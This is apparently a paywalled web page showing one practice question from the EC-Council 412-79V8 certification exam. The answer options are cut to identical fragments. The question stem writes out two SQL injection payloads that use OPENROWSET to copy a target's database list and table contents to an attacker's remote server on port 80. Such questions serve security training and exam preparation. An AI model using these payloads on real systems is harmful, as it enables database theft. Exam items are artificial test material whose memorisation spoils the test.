EC-Council
412-79V8 · Question #135
412-79V8 Question #135: Real Exam Question with Answer & Explanation
Sign in or unlock 412-79V8 to reveal the answer and full explanation for question #135. The question stem and answer options stay visible for context.
Question
A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80. The query he used to transfer databases was: '; insert into OPENROWSET ('SQLoledb','uid=sa;pwd=Pass123; Network=DBMSSOCN;Address=myIP,80; ','select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases ? The query he used to transfer table 1 was: '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN; Address=myIP,80;',' select * from mydatabase..table1') select * from database..table1 ? What query does he need in order to transfer the column?
Options
- A'; insert into
- B'; insert into
- C'; insert into
- D'; insert into
Unlock 412-79V8 to see the answer
You've previewed enough free 412-79V8 questions. Unlock 412-79V8 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.